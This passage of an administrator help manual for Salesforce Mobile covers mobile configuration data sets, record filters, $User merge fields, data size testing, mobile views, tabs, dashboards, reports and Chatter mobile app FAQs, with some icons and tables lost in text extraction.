4. Click OK. The data set you created appears in the hierarchy.
5. Optionally, use filters to restrict the records that a parent or child data set includes:
a. Use the Filter by Record Ownership options to configure Salesforce to automatically synchronize records based on the
owner of the record. The possible options are:
All Records: Salesforce automatically synchronizes all records the user can access. The All Records option
is not available for tasks and events when they are parent data sets in a mobile configuration. This helps prevent
failed data synchronization due to activity filter queries that take too long to run.
User's Records: Salesforce automatically synchronizes all records the user owns.
960
Salesforce Mobile
User's Team's Records: Salesforce automatically synchronizes all records owned by the user and the user's
User's Account Team's Records: Salesforce automatically synchronizes accounts for which the user is an
account team member, but does not include accounts owned by the user.
User's Sales Team's Records: Salesforce automatically synchronizes opportunities for which the user is a
sales team member, but does not include opportunities owned by the user.
None (Search Only): Salesforce does not automatically synchronize any records for this data set; however, users
can use their mobile devices to search all of the records they can access.
Salesforce only displays options that relate to the selected data set. For example, selecting an account data set displays
the User's Account Team's Records option, while selecting an opportunity data set displays the User's Sales
Team's Records option.
If your mobile needs for an object require a combination of the available record ownership filters, you can add the same
object data set up to four times on the same hierarchy level. For example, a sales manager might want to synchronize
his opportunities, opportunities owned by his subordinates, and opportunities for which he is a sales team member. In
this case, you would add an opportunity data set and select User's Team's Records, then add a second opportunity
data set at the same level in the hierarchy and select User's Sales Team's Records. Note that objects with only
one ownership filter option, such as Case Comment, cannot be added multiple times at the same level of the hierarchy.
b. Set the filter criteria to automatically synchronize only records that meet specific criteria in addition to the Filter by
Record Ownership option you selected. For example, you can set the filter to only include opportunity records with
amounts greater than $50,000, or contact records with the title Buyer. You can use special date values in your filter
conditions for mobile configurations. Additionally, several $User global variables are available in mobile filters.
Click Add Filter Logic to change the default AND relationship between each filter.
c. To prevent a single data set from consuming all the memory on a mobile device, select the second radio button under
Set Max Record Limit and enter the maximum number of records this data set can transfer to mobile devices. Use the
Order By and Sort drop-down lists to specify which records are synchronized if the data size limit is exceeded.
If the limit is reached, Salesforce updates the records currently on the mobile device approximately every 20 minutes,
and replaces the records approximately every 24 hours in accordance with the Order By and Sort settings. For example,
if the settings are Last Modified Date and Descending, Salesforce transfers the most recently modified records to
mobile devices and removes the same number of records that were least recently modified.
If you selected the None (Search Only) Filter by Record Ownership option, the limit you set does not apply because
no records are automatically synchronized.
Tip: Do not use Set Max Record Limit in place of filters. Only use Set Max Record Limit as a safety mechanism,
and use filters as the primary means of limiting the number of records on a mobile device. This ensures that
your mobile users receive the correct records on their devices.
Because of the memory restrictions of mobile devices, Salesforce prevents a single query from returning more than
2,500 records.
6. Be sure to test your mobile configuration to make sure the data does not exceed the total data size limit.
7. Click Done when you are finished.
961
Salesforce Mobile
8. After creating mobile configurations and defining the data sets, send a mass email to mobile users explaining how to register
their mobile devices. The registration process creates device records in Salesforce, which allows you to manage your
organization's mobile devices.
See Also:
Salesforce Mobile Overview
Managing Mobile Configurations
Editing Mobile Object Properties
Managing Mobile Views
Managing Mobile Tabs
Sending Emails to Mobile Users
Managing Mobile Devices
Setting Up Mobile Content
Some of the $User merge fields are available when defining filters for mobile configurations and mobile custom views. In
mobile configurations, you can use these merge fields to synchronize records where the user is linked to a record but is not the
record owner. For example, you can send cases created by the current user to the mobile device, or you can send records to the
device where the current user is referenced in a custom field. In mobile views, you can use the merge fields to define view based
on the record owner; for example, you might create a view that displays the current user's accounts with a rating of Hot.
The following table describes the available user merge fields:
Merge Field
Description
$User.ID
$User.Username
$User.Firstname
References the first name of the current user. This merge field
can be applied to any text or lookup field, except picklists. The
valid operators for this merge field are Equals, Not Equal To,
962
Salesforce Mobile
Merge Field
Description
Greater Than or Equal, Less Than or Equal, Contains, Does
Not Contain, and Starts With.
$User.Lastname
References the last name of the current user. This merge field
can be applied to any text or lookup field, except picklists. The
valid operators for this merge field are Equals, Not Equal To,
Greater Than or Equal, Less Than or Equal, Contains, Does
Not Contain, and Starts With.
$User.Fullname
References the first and last name of the current user. This
merge field can be applied to any text or lookup field, except
picklists. The valid operators for this merge field are Equals,
Not Equal To, Greater Than or Equal, Less Than or Equal,
Contains, Does Not Contain, and Starts With.
See Also:
Managing Mobile Configurations
Understanding Global Variables
Salesforce Mobile Overview
963
Salesforce Mobile
964
Salesforce Mobile
See Also:
Salesforce Mobile Overview
Managing Mobile Configurations
When you create a mobile configuration, you specify a total data size limit for the configuration. The total data size limit
prevents Salesforce from sending too much data to the mobile devices of users assigned to the mobile configuration. After
defining the data sets, it is important to test the mobile configuration to make sure the total data size limit is not exceeded.
To estimate the size of the data set that the mobile configuration will deliver to a user's device:
965
Salesforce Mobile
1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations, and click the name of the
mobile configuration you want to test.
2. In the Data Sets related list, click Edit.
3. In the Test Data Size section, click the lookup icon next to the Select a user field to choose the user you want to test.
While users must be mobile-enabled in order to assign them to mobile configurations, you can test the configuration's
data size against any user account.
The Select a user field defaults to the name of the user currently logged in; however, it is important to test a mobile
configuration with the accounts of users who will actually be assigned to the configuration, particularly users who own a
large number of records.
4. Select the Include metadata checkbox to include metadata in the estimate. Metadata consists of page layout and schema
information, and the amount of metadata sent to a device can be very high depending on the size of your organization and
the complexity of its setup.
Caution: It might take a while for Salesforce to calculate the metadata size in addition to the data size. Even if
you choose to hide the metadata in your test results, the metadata is still factored into the total data size when the
mobile device synchronizes with Salesforce.
5. Click Estimate Data Size.
The size of each data set is calculated. Results display in the hierarchy tree, which is the left pane of the data set region at
the top of the page. Additional results appear in the Test Data Size section below the hierarchy.
In the hierarchy tree, two numbers appear next to each data set. The first represents the number of records generated
by the data set, and the second represents the total size of the data set in bytes or kilobytes. This breakdown is useful
for identifying which data sets might require additional filtering criteria to reduce the size.
The Test Data Size section provides an estimate of the data that the current mobile configuration would deliver to the
selected user's device, including:
The size and number of records in each object's data set.
The total size and number of records, which includes records in the data set and marked records. A marked record
is a record that is not part of a user's mobile configuration. There are two ways marked records can become part of
the data set:
-
The user downloads records to his or her device through online searches, and the records are flagged so that
they get sent to the user's device every time the device synchronizes with Salesforce.
Records in the user's data set contain lookup fields to records that do not match the mobile configuration's filter
criteria. Salesforce synchronizes the records referenced in the lookup fields so that users do not encounter broken
links in the mobile application.
Tip: For an accurate count of the marked records, synchronize the data in the mobile application before
estimating the data size. To synchronize the data:
-
In the BlackBerry application, open the menu and select System Info, then open the menu and select
Refresh All Data.
In the iPhone application, tap More, then tap App Info. Tap Sync Now, then tap Refresh All Data.
In the Windows Mobile application, select Options > System Info, then select Actions > Refresh
All Data.
The size of the metadata that would be sent to the device for the user, if you selected the Include metadata checkbox.
The total mobilized data set, which is the sum of all the records.
966
Salesforce Mobile
6. Compare the test results to the total data size limit that was set for the configuration; the limit is located in the top of the
Test Data Size section. Click the size limit to increase or decrease the value on the Edit Mobile Configuration page.
If the total data size is below the limit, the selected user can safely be assigned to the mobile configuration. However,
keep in mind that the test results are an estimate because different devices have different storage algorithms.
If the total data size exceeds the limit, reduce the size of the data by reducing the scope of your data set, refining the
filter criteria of your data sets, deleting a data set, or removing fields from the mobile page layout. Repeat the testing
process until the data is below the total limit.
Note: The data size estimate in the Test Data Size section does not automatically refresh if you edit the data
sets. Click Refresh Data Size to update the test results.
See Also:
Salesforce Mobile Overview
Managing Mobile Configurations
Sending Emails to Mobile Users
Managing Mobile Devices
You can change the properties of standard and custom objects in the mobile application. For example, you can restrict the
permissions of mobile users, or you can exclude unnecessary fields from the object's mobile page layout.
Mobile object properties are customized per mobile configuration. To edit mobile object properties:
1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations.
2. Click the name of the mobile configuration you want to modify.
3. In the Mobile Object Properties related list, click Edit next to an object name.
Only objects you mobilized in the configuration's data set appear in the related list. You cannot change the properties of
the user object.
4. From the Edit Mobile Configuration page, you can:
967
Salesforce Mobile
Mobile administrators can view all available fields per object, regardless of field-level security.
Certain fields are required in order for the mobile client application to communicate with Salesforce. Those fields do not
display in the Available Fields box because they are mandatory and cannot be excluded from mobile page layouts.
Fields used in mobile custom views cannot be excluded from mobile page layouts.
If you mobilize the content object, all of the content object's fields display in the Available Fields box; however, the layout
of the content detail page in the mobile application is hard-coded to show only a few fields. Excluding fields for the content
object doesn't affect the page layout in the mobile application.
See Also:
Salesforce Mobile Overview
Managing Mobile Configurations
Managing Mobile Tabs
Creating Mobile Links
968
Salesforce Mobile
You can create mobile custom views in the Administration Setup that are available to wireless users assigned to a particular
mobile configuration. Mobile custom views are different than Salesforce custom views in the following ways:
Mobile views are set up by the administrator per mobile configuration. The views are available to all users assigned to the
configuration, and administrators cannot restrict visibility to certain groups of users within the configuration. Each mobilized
object in a mobile configuration can have up to ten custom views.
Mobile views cannot be filtered by All Records or My Records. The views apply to all records stored locally on the device,
regardless of ownership; however, ownership filters can be applied using the additional fields in the search criteria.
Mobile views don't support filter logic.
Mobile views are limited to a two-column display.
Mobile views can be sorted in ascending or descending order by up to two fields.
To manage the custom views for a mobile configuration, click Your Name > Setup > Mobile Administration > Salesforce
Mobile > Configurations, and then click the name of the mobile configuration. In the Mobile Views related list:
To see a list of all your custom views, choose All Options in the Select an object drop-down list. You can also use the
Select an object drop-down list to filter the views by object type.
To create a new mobile view, select the object type from the Select an object drop-down list, and then click New Mobile
View.
To make changes to a mobile custom view, click Edit next to a view name.
To delete a mobile custom view, click Del next to a view name.
To view details about a mobile custom view, click its name.
See Also:
Tips for Entering Filter Criteria
Salesforce Mobile Overview
Managing Mobile Configurations
Managing Mobile Devices
969
Salesforce Mobile
For each mobile configuration, you can define up to ten mobile custom views per object that are pushed to the devices of users
assigned to the configuration. To create a mobile custom view:
1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations, and then click the name of
a mobile configuration. You might need to create a mobile configuration if you haven't already.
2. Scroll down to the Mobile Views related list.
3. Choose an object type from the Select an object drop-down list, and then click New Mobile View. Only objects included
in the mobile configuration's data set appear in the drop-down list. You cannot create mobile views for the user object.
4. Enter the view name.
Because display space on mobile devices is limited, the maximum length of a mobile view name is 30 characters.
5. In the Specify Filter Criteria section, enter conditions that the selected items must match, for example, Amount is
greater than $100,000.
a. Choose a field from the first drop-down list.
Note: You cannot create views based on fields you excluded from mobile page layouts or fields that are hidden
for all profiles and permission sets.
b. Choose an operator. For descriptions of each operator, see Filter Operators on page 2962.
c. In the third field, enter the value to match.
Caution: Note the following about filter criteria values for mobile views:
You can use the $User.ID merge field as a value in your filter criteria to reference the current user. You
can't enter user names in your filter criteria.
You can only enter special date values in your filter criteria, not actual dates.
You can't use FISCAL special date values in the filter criteria.
d. Select Match All if items in the mobile view should match all the criteria you entered. Select Match Any if items in
the mobile view should match any of the criteria you entered. Mobile custom views do not support advanced filtering
options.
6. In the Select Fields to Display section, select the fields to use as display columns.
The default fields are automatically selected. You can choose up to two different columns of data fields to display in your
mobile custom view.
970
Salesforce Mobile
7. In the Define Sort Order section, optionally set a primary and secondary sort order for the view.
a. Select a field in the Order By drop-down list. You can sort by fields that have been excluded from the object's mobile
page layout.
b. Set the sort order to Ascending or Descending.
8. Click Save.
See Also:
Managing Mobile Views
Managing Mobile Configurations
Managing Mobile Devices
For each mobile configuration, you can select the tabs that appear in the mobile application and define the order of the tabs.
The available tabs for a mobile configuration include:
By default, tabs in the mobile application reflect Salesforceif an object's tab is hidden in Salesforce, it is hidden in the mobile
application as well.
Note: If you customize mobile tabs, the tabs you select for the mobile configuration are sent to users' mobile devices
even if the tabs have not been added to an application. Although the tabs are sent to the device, they only display in
the mobile application if users have permission to view the tab.
There are several reasons you might want to hide an object's tab in Salesforce Mobile even though the object records are sent
to the device. The mobile application has much less screen space to display a row of tabs, so occasionally administrators choose
to reduce the amount of tabs on the device. Also, sometimes a custom object has a relationship to a standard object, and users
access the custom object record from the parent object record. In that case, you could mobilize the custom object but hide the
tab.
971
Salesforce Mobile
To begin managing the tabs for a mobile configuration, click Your Name > Setup > Mobile Administration > Salesforce
Mobile > Configurations, and then click the name of a mobile configuration.
To view the tabs for a mobile configuration, scroll down to the Mobile Tabs related list. If you have not customized the
configuration's tabs, the related list displays a message indicating that the default tab behavior is used for the configuration.
To select the tabs and define their order for the first time, click Customize Tabs. See Customizing Mobile Tabs on page
972.
To change the tab setup for a mobile configuration, click Edit.
To delete the mobile tab setup and use the default tab behavior, click Reset to Default.
To enable Visualforce or web tabs for mobile users, edit the properties of the tabs and select the Mobile Ready checkbox.
See Creating Visualforce Tabs on page 2113 and Creating Web Tabs on page 1773.
Caution: Not all websites and Visualforce features are supported on mobile devices. Carefully review the best
practices for creating mobile-friendly pages before enabling Visualforce or web tabs for the mobile application.
See Also:
Salesforce Mobile Overview
Managing Mobile Configurations
972
Salesforce Mobile
Note: Not all websites and Visualforce features are supported on mobile devices. Carefully review the best practices
for creating mobile-friendly pages before enabling Visualforce or web tabs for the mobile application.
4. In the Selected Tabs list, choose tabs and click the Up and Down arrows to arrange the tabs in the order they should appear
in the mobile application.
5. Click Save.
Note: iPhone users can customize the order of their tabs in the mobile client application. If the user customizes their
tab order, any administrator changes to the tab order in the mobile configuration are ignored by the client application,
and any newly mobilized tabs are added below the user's existing tabs.
See Also:
Managing Mobile Tabs
Salesforce Mobile Overview
Managing Mobile Configurations
You can make web and Visualforce tabs available in the mobile application. When you build the web tab or Visualforce tab,
select the Mobile Ready checkbox in the wizard to verify that the web page or Visualforce page displays and functions properly
on a mobile phone. Selecting the checkbox adds the tab to the list of available tabs for your mobile configurations.
It is important to note that most mobile browsers have technical limitations concerning display size, scripts, processor speed,
and network latency. Review the following considerations before mobilizing your web and Visualforce pages to ensure that
they are compatible with mobile browsers.
Mobile Web Tab Considerations
Consider the following when defining a mobile web tab:
The ability to mobilize web tabs is only available for BlackBerry and iPhone. If you mobilize a web tab, keep in mind that
Windows Mobile users cannot view the tab in the mobile application.
The minimum BlackBerry operating system requirement for web tabs is 4.3.
The tab type must be URL. The mobile application cannot run s-controls.
Some web pages contain JavaScript and Flash, but not all mobile browsers support them:
Apple's Safari browser supports JavaScript, but not Flash.
The BlackBerry browser has limited support for JavaScript and no support for Flash.
Before mobilizing the web tab, navigate to the target URL on one of your organization's mobile devices to verify that it
works as expected in a mobile browser. In the event that your organization's device inventory includes phones with different
operating systemsfor example, both iPhones and BlackBerry smartphonesbe sure to test on each type of device. If
users cannot accomplish the necessary tasks on the web page from a mobile browser, do not mobilize the web tab.
973
Salesforce Mobile
In order for BlackBerry users to view JavaScript web pages, JavaScript must be enabled on the smartphones. The BlackBerry
administrator can globally enable JavaScript from the BlackBerry Enterprise Server. Users can also enable JavaScript on a
BlackBerry smartphone by opening the BlackBerry browser, selecting Options > Browser Configuration, and then selecting
the Support JavaScript checkbox.
Visualforce Mobile is only available for BlackBerry and iPhone. If you mobilize a Visualforce tab, keep in mind that
Windows Mobile users cannot view the tab in the mobile application.
The mobile application can run on BlackBerry operating system versions 4.3 through 6.0. For optimum performance,
however, Salesforce recommends running Visualforce Mobile on BlackBerry smartphones installed with at least version
4.6.
Because the display size is limited on mobile browsers, we recommend redesigning the Visualforce page to optimize it for
mobile users:
Set the sidebar and showHeader attributes on the <apex:page> tag to false. Phones have small screens and
limited processing power, so it is essential that the page suppresses the tab header and sidebar.
Set the standardStylesheets attribute on the <apex:page> tag to false. The standard Salesforce stylesheet
causes pages to load slowly on the device. Additionally, most BlackBerry browsers cannot properly interpret CSS . The
best approach to adding a stylesheet to your page is to include a <style> section just below the <apex:page>
component.
Set the columns attribute on the <apex:pageBlockSection> component to 1. There is not enough room on a
mobile devices screen to display two columns, so specifying a one-column layout prevents fields from wrapping
awkwardly on the page.
974
Salesforce Mobile
User agent inspection can be executed in a custom controller to support multiple devices. You can do this by inspecting
the appropriate result of the getHeaders() method on the current page reference.
See Also:
Managing Mobile Tabs
Managing Mobile Configurations
Supported Devices for Mobile
Creating Mobile Links
To mobilize dashboards:
You can make the Dashboards tab available in Salesforce Mobile by adding it to the tabs for a mobile configuration. Mobile
dashboards allow field users to keep up with corporate metrics and key performance indicators even when they are away from
their desks.
Note the following about mobile dashboards:
The Dashboards tab in the mobile application launches an embedded browser to display the dashboards.
Due to screen size limitations, mobile dashboards display in a single column.
Links to custom report details are disabled in mobile dashboards.
The first time a user visits the Dashboards tab in Salesforce Mobile, the mobile application requests the last dashboard
the user viewed in Salesforce. Depending on the strength of the cellular or WiFi signal, it could take several minutes before
the dashboard displays on the page.
Dashboards do not automatically refresh in the mobile application. Users can request a dashboard refresh by clicking the
Refresh button.
Users are able to work offline in the mobile application. Without a wireless connection, users can see the last viewed
dashboard, but they cannot refresh the dashboard or select a different one.
The minimum BlackBerry operating system requirement for mobile dashboards is 4.5. Mobile dashboards are compatible
with version 4.3, but tables in the dashboards might not display properly.
BlackBerry administrators should be aware that the download size setting on the BlackBerry Enterprise Server affects how
much dashboard data can be pushed to the device. Check that the download size setting is appropriate, and be sure to test
your dashboards before deploying them to your mobile users.
975
Salesforce Mobile
Note: Currently, dashboards are only available in the BlackBerry and iPhone mobile client applications.
Salesforce Mobile Dashboards for the iPad, available from the Apple App Store, lets you access dashboards you recently viewed
or are following when youre on the go.
The mobile dashboards app keeps you in touch with your organizations data, performance, and trends, whether youre in the
office or on the road. Use this app to:
You can download the app for free from the Apple App Store or from the AppExchange. You can use the mobile dashboards
app on all iPad models with iOS 5 or higher. The app is available in Salesforce Enterprise, Unlimited, and Developer Editions,
and additionally in any organization that has enabled REST API.
976
Salesforce Mobile
If you can access your Salesforce organization from your iPad, you can use the mobile dashboards app. Open the app and log
in using your Salesforce email and password. If you dont have a Salesforce account, you can still explore the app by tapping
Demo.
Note: Dashboard access for your iPad is available by default for your organization. If it isn't, an administrator must
enable it before you can log in to the app.
See Also:
FAQ: Mobile Dashboards for iPad Users
Do you have network connectivity? The login screen may not be visible if you dont have network connectivity. Try logging
in to your Salesforce account from the Safari browser on your iPad to see if your network connection is working.
Do you have VPN set up? Your organization may require VPN to connect.
Are you logging in to the right instance? To log in to the test environment for your organization, for example, you should
select Sandbox in the Choose Connection dialog box.
977
Salesforce Mobile
You can sync the app with Salesforce to get the latest versions of the dashboards that youve viewed recently and those
youre following.
To do this, go to the home view and tap
.
Note: If you lose network connectivity when logged in, you still have offline access to some of the dashboards and
reports you recently viewed in the app.
To post to a dashboard feed, tap . After composing your post, tap Share.
To comment on an existing post, tap the post to open the comment panel, then tap
Feed.
to select a photo from your device. When posting from a device with a camera, tap
Note:
Your organization must enable Chatter and feed tracking for dashboards at the full Salesforce site before you can view,
post, or comment in the mobile dashboards app.
978
Salesforce Mobile
To see report details such as filters and the last modified date, tap
Note: The first column is pinned so its always visible as you scroll. To unpin this column, tap
Pin First Column to OFF.
979
Salesforce Mobile
3. Tap
to add a new connection.
4. Enter a login URL (1) and, optionally, a name (2) for the new instance.
You dont need to include http:// in the URL because its added automatically.
5. Tap Done.
6. Tap the new instance to connect to it.
7. Enter your username and password, then tap Login.
To delete an instance you no longer use:
1.
2.
3.
4.
980
Salesforce Mobile
Customize Application
In your organization, users can automatically access dashboards on their iPads without any prior configuration. If access has
been disabled, an administrator must enable it before users can log in to the app.
To enable dashboards for iPad users:
1. Click Your Name > Setup > Mobile Administration > Mobile Dashboards > Settings.
2. Select Enable the Mobile Dashboards iPad app for all users.
3. Click Save.
To view dashboards from your iPad, download the Salesforce Mobile Dashboards app from the Apple App Store or
AppExchange.
Aside from editions noted, the app is available to organizations enabled with REST API.
See Also:
Customizing Report and Dashboard Settings
Customizing Report and Dashboard Email Settings
Customizing Report and Dashboard User Interface Settings
To enable reports for the mobile application, create a Mobile Reports folder in Salesforce, add reports to the folder, then add
the Reports tab to your mobile configurations. To enable reports:
1. From the reports home page in Salesforce, click Create New Folder.
2. In the Report Folder field, enter: Mobile Reports.
981
Salesforce Mobile
The server does not load reports on the mobile device unless the folder is named Mobile Reports. Be sure to check for
any typos in the name before saving the folder. Additionally, Salesforce does not require folder names to be unique. Mobile
users can see any report stored in folders named Mobile Reports unless you restrict access with the folder visibility option.
3. Choose a Public Folder Access option. This option does not affect the ability of mobile users to run reports.
4. Optionally, select any unfiled reports and click Add to store them in the Mobile Reports folder. You can also add reports
to the folder after saving the folder.
5. Choose a folder visibility option.
This folder is accessible by all users gives every user in your organization the ability to see the list of
This folder is accessible only by the following users lets you grant access to a desired set of users.
Do not make the folder private unless you want to hide mobile reports from all users, including yourself.
6. Click Save.
7. To add a report to the Mobile Reports folder, click the report name on the reports home page, and then click Save As.
Save the report in the Mobile Reports folder.
After saving the report, you can edit the options to make the report easier to view on a mobile device. For example, you
might reduce the number of columns or enter additional filtering criteria.
8. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations, and then click the name of
a mobile configuration.
9. In the Mobile Tabs related list, click Customize Tabs to define mobile tabs for the first time. If you have already set up
the mobile tabs, click Edit.
10. Select Reports from the Available Tabs list, and click the Add arrow to add it to the mobile configuration. The Available
Tabs list includes standard object tabs and custom object tabs. It can also include web and Visualforce tabs.
Caution: If you have not yet customized tabs in the mobile configuration, you must select all the tabs that should
appear in the mobile application, not just the Reports tab.
11. In the Selected Tabs list, choose the Reports tab and click the Up and Down arrows to define where the Reports tab should
appear in the mobile application.
12. Click Save.
Note: Reports are not currently available in Salesforce Mobile for iPhone.
982
Salesforce Mobile
You can set up the mobile application so that your users are able to share content with customers and colleagues directly from
their mobile devices. When you mobilize the content object in your organization's mobile configurations, the Content tab
appears in the mobile application.
Note the following about how Salesforce CRM Content is implemented in the mobile application:
Content record information is synchronized to the device; however, the files associated with the content records are not.
This allows users to deliver content from the mobile application even when a file is too large to be downloaded to a mobile
device.
Users can't search for a specific piece of content in the mobile application. They can only share the content available on
the Content tab, which is automatically synchronized to their device based on the filters in their assigned mobile
configuration.
Users can't view a list of their subscribed content in the mobile application. They also can't filter the list of records on the
Content tab based on a particular library.
While users can preview and share content from the mobile application, they can't update the file associated with a content
record. If they have the required permissions, they can edit the fields on the content detail page.
Users must be in wireless coverage to preview and deliver content. Without a wireless connection, they can only view the
content detail page.
Content is only supported by the BlackBerry and iPhone mobile client applications.
Content is not available in Mobile Lite, which is the free version of the mobile application.
You can't block mobile permissions for the content object. Currently, the content object in the mobile application is
read-only.
You can't edit the mobile page layout for the content object. The content detail page in the mobile application is hard-coded
to display only a few fields.
983
Salesforce Mobile
Because users can't search for content in the mobile application, it's essential to set up filters that make important content
available on the device. You can't create filters based on libraries or subscriptions, but here are a few options for setting up
useful filter conditions:
Date: Filter on the Last Modified Date, Content Modified Date, or Created Date fields. Use special date
values like LAST 90 DAYS or LAST 180 DAYS to ensure that recently updated content records are synchronized.
Owner: Filter on the author if certain people in your organization are responsible for publishing content.
File Type: Filter on certain types of documents. For example, your sales team might generally be interested in
presentations or PDF documents.
Custom Fields: If you created custom content fields that help you categorize your content, filter on the custom fields.
For example, if you built a Functional Use field with picklist values, you could set up a filter condition where
Functional Use equals Sales.
6. Optionally prevent content records from consuming all the memory on a mobile device by selecting the second radio button
under Set Max Record Limit and entering the maximum number of content records this configuration can transfer to
mobile devices. Use the Order By and Sort drop-down lists to specify which records are synchronized if the data size limit
is exceeded.
7. Click Done when you're finished.
8. Optionally modify other mobile configurations and mobilize the content object.
The Chatter mobile app lets you collaborate in Chatter from your mobile device as follows:
Receive updates about the people and records you follow and your groups.
View and create posts and comments.
Post photos from your device.
Find and follow people in your organization.
Find and join groups in your organization.
View your coworkers' profiles to see their contact information, bio, who they're following, and who's following them.
Email, call, or text people directly from their Chatter profiles on devices with telephony.
Download the Chatter mobile app from either www.salesforce.com/mobile/apps/download/ or the online location
where you typically download apps for your phone, such as Apple App Store, Android Market, or BlackBerry App World.
Customers that manage BlackBerry devices with a BlackBerry Enterprise Server can use Application Push to remotely deliver
the Chatter mobile app to users. Navigate to downloads.salesforce.com/downloads/mobile/index.html and
click BESpush under Chatter Files and Tools to download the Application Push package.
984
Salesforce Mobile
The Chatter mobile app is enabled for use in most organizations by default. If it is not enabled in your organization or you
want to change the default settings, see Configuring the Chatter Mobile App.
Limitations
The Chatter mobile app does not have all of the functionality of Chatter on the Web. The following table shows the mobile
app limitations for each device.
Android
BlackBerry
No
No
No
No
Yes
No
Yes
No
No
No
No
Yes
No
No
Yes
Yes
Yes
Yes
No
No
No
No
No
Yes
No
No
No
Yes
No
No
Create groups
No
No
No
No
No
No
No
No
No
No
No
No
Yes
Yes
Yes
Yes
No
Yes
No
No
No
Yes
No
No
See Also:
Chatter for Android Phones FAQ
Chatter FAQs
Chatter for iPad FAQs
Using Chatter for iPhone and iPod Touch
Chatter Overview
Salesforce Mobile Overview
Mobile Lite Overview
985
Salesforce Mobile
Chatter FAQs
Available in: All Editions except Database.com
To update your status, select Chatter > My Chatter, then press the menu key and select New Update.
To post to a group feed, select Chatter > Groups and select the group. Select
, or press the menu key and select New
Post.
To post to someone's profile feed, select Chatter > People. Choose the person whose profile you want to view and select
. You can also press the menu key and select New Post.
To comment on a post or update, select the post or update to open the detail page, then select Comment.
Tip: When posting, choose
c = Enter a comment.
t = Go to the top of the feed.
b = Go to the bottom of the feed.
m = Load more posts.
986
Salesforce Mobile
987
Salesforce Mobile
2. Select Sounds for Selected Profile, then select Other Applications Notifiers.
3. Choose Chatter.
4. Adjust the sound alert settings, then select Save from the menu.
Can customers use the Chatter mobile app?
Customers are users outside of your company's email domains. They have very limited Chatter access and can only see groups
they're invited to and interact with members of those groups. The Chatter mobile app for BlackBerry supports access for
customers. Customers and groups with customers are identified as customers in the mobile app. The Chatter mobile app
applies the same restrictions to customers as Chatter on the Web.
How do I connect to different instances of Chatter or Salesforce?
To connect to another instance of Chatter or Salesforce:
1. Navigate to the BlackBerry Settings screen for third party applications and choose Chatter.
2. In the Login Host drop-down menu, select Production, Sandbox, or Custom.
Production is selected by default. Choose Sandbox to connect to a Force.com sandbox organization for testing and training.
To use the Chatter mobile app with single sign-on, choose Custom and enter the custom login URL for your network.
3. Press the menu key and select Save.
What is the benefit of connecting Chatter to BlackBerry Messenger?
With the Chatter mobile app connected to BlackBerry Messenger (BBM), you can easily share information in Chatter with
your BBM contacts who also use Chatter. The Chatter mobile app can also update your BBM profile with your latest activities
in Chatter.
To connect the Chatter mobile app to BBM:
1. Visit the BlackBerry App World from your device and upgrade to the latest version of BlackBerry Messenger. The minimum
requirement is BlackBerry Messenger 6.0.
If youve never used BlackBerry Messenger, complete the BBM setup process on your device before attempting to connect
Chatter to BBM.
2. Visit the BlackBerry App World from your device and upgrade to the latest version of Chatter. The minimum requirement
is Chatter 3.0.
3. Go to the BlackBerry Settings screen for Chatter, select the Connect Chatter to BBM option, then save your changes.
4. Open the Chatter mobile app.
5. When prompted to connect Chatter to BlackBerry Messenger, select Connect, then select Edit Settings.
The prompt only displays if youre using BlackBerry Messenger 6.0 or higher.
6. In the Connect to BBM drop-down list, select Connected.
7. Optionally, select the Post recent activities to my profile checkbox to let Chatter update your BBM status
with recent app activities.
8. Optionally, select the Ignore invitations to become a BBM contact checkbox to prevent other Chatter users
in your company from sending you BBM contact invites.
9. Press the menu key and select Close.
10. Select Save, then select OK.
988
Salesforce Mobile
To share information in Chatter with BBM contacts, navigate to the user profile, group profile, record, or file, press the menu
key, and select Share via BBM.
See Also:
Chatter Mobile App Overview
Bypassing IP Restrictions for Chatter Mobile App Users
Configuring the Chatter Mobile App
Viewing Chatter Mobile App Activity and Revoking Access
See Also:
Chatter Mobile App Overview
Bypassing IP Restrictions for Chatter Mobile App Users
Configuring the Chatter Mobile App
Viewing Chatter Mobile App Activity and Revoking Access
Restart the Chatter mobile app if configuration changes in Salesforce do not appear on your mobile device.
989
Salesforce Mobile
How do I filter Chatter updates to see only those that mention me?
Open the menu, then choose @ Me to display both posts others make to your Chatter feed as well as updates where you have
been mentioned.
990
Salesforce Mobile
1.
2.
3.
4.
If you're logged in to Chatter on your phone, log out and relaunch the app. The Login screen appears.
Press the menu button on your phone.
Tap Add Custom Instance.
Name the connection and enter the URL you use to log in to that instance, then tap Authenticate.
Important: The URL you enter must start with https://.
Restart the Chatter Android tablet app if configuration changes in Salesforce do not appear on your tablet.
991
Salesforce Mobile
How do I connect Chatter for Android Tablets to different instances of Chatter or Salesforce?
To connect to another instance of Chatter or Salesforce:
1. If you're logged in to Chatter Android tablet app, log out and relaunch it. The Login screen appears.
2.
3.
4.
5.
Tap
, then Change Server.
Tap Add Connection.
Enter a name for the connection, such as Sandbox.
Enter the URL you use to log in to that instance.
Important: The URL you enter must start with https://.
Can I send private Chatter messages from Chatter for Android Tablets?
The Chatter app for Android tablets doesn't currently support private Chatter messages.
How do I filter Chatter updates to see only those that mention me in Chatter for Android Tablets?
Tap
to display both posts others make to your Chatter profile and updates that mention you.
992
Salesforce Mobile
How do I search for people and groups in Chatter for Android Tablets?
To search for people, tap
, then
, then
See Also:
Chatter Mobile App Overview
Bypassing IP Restrictions for Chatter Mobile App Users
Configuring the Chatter Mobile App
Viewing Chatter Mobile App Activity and Revoking Access
993
Salesforce Mobile
. To comment on a post, tap the post to open the comments panel, then
.
Tip: When posting, tap
to select a photo from your device. When posting from a device with a camera, tap
Tap
, tap your username, tap Log Out, then tap Log Out again.
994
Salesforce Mobile
Enter the login URL of the new instance. Dont add http:// to the URL; it will be appended automatically.
Optionally enter a name for the new instance.
Tap Done.
Tap the name of the newly created instance.
Enter your username and password, then tap Login.
How do I filter Chatter updates to see only those that mention me?
How do I filter Chatter updates to see only those that mention me?
Tap
to display both posts others make to your Chatter feed, as well as updates where you have been mentioned.
995
Salesforce Mobile
To comment on a post, tap a post in the feed to view it, then tap
Tip: You dont have to view a post to comment on it you can comment on a post directly from the feed using a
shortcut. Swipe your finger horizontally across the feed item to reveal a hidden menu, then tap
to write a
comment. You can also like and delete posts from the shortcut menu. To close the menu without taking any action,
swipe horizontally again.
Tap
to attach a photo. You can take a new photo or select an existing photo.
Tap
